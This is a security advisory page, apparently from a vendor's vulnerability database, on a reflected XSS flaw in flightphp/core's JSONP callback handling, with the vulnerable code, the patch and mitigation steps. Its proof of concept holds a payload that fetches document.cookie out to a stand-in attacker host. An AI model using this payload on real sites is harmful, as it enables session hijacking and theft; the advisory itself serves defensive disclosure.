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CVE-2026-42548 — flightphp/core

CVE-2026-42548 is a security vulnerability in flightphp/core. A fix is available for flightphp/core — see the affected versions and patch details below.

Flight: Reflected XSS via unvalidated JSONP callback in Flight::jsonp()

Also known asGHSA-fcx8-ph5r-mxr4
Published
May 13, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 24, 2026 · OSV.dev, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42548.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs40th percentile — riskier than 40% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐘flightphp/core

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.

Affected code

flight/Engine.php (≈ lines 1000-1013):

$callback = $this->request()->query[$param];
$this->response()
    ->status($code)
    ->header('Content-Type', 'application/javascript; charset=' . $charset)
    ->write($callback . '(' . $json . ');');

No regex or identifier validation is performed before the callback is written.

Proof of concept

Given any route that calls Flight::jsonp($data):

GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//

Reproduced response (Content-Type: application/javascript):

;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});

When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.

Impact

  • Reflected XSS in any application calling Flight::jsonp().
  • Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
  • Exfiltration of authenticated API responses.

Patch (fixed in 3.18.1, commit b8dd23a)

_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.

Credit

Discovered by @Rootingg.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistflightphp/coreall versions3.18.1composer require flightphp/core:^3.18.1

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flightphp/core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update flightphp/core to 3.18.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42548 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42548 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-42548. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. ### Affected code `flight/Engine.php` (≈ lines 1000-1013): ```php $callback = $this->request()->query[$param]; $this->response() ->status($code) ->header('Content-Type', 'application/javascript; charset=' . $charset) ->write($callback . '(' . $json . ');'); ``` No
O3 Security · Impact-Aware SCA

Is CVE-2026-42548 in your dependencies?

O3 Security finds CVE-2026-42548 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works
CVE-2026-42548: flightphp/core XSS | O3 Security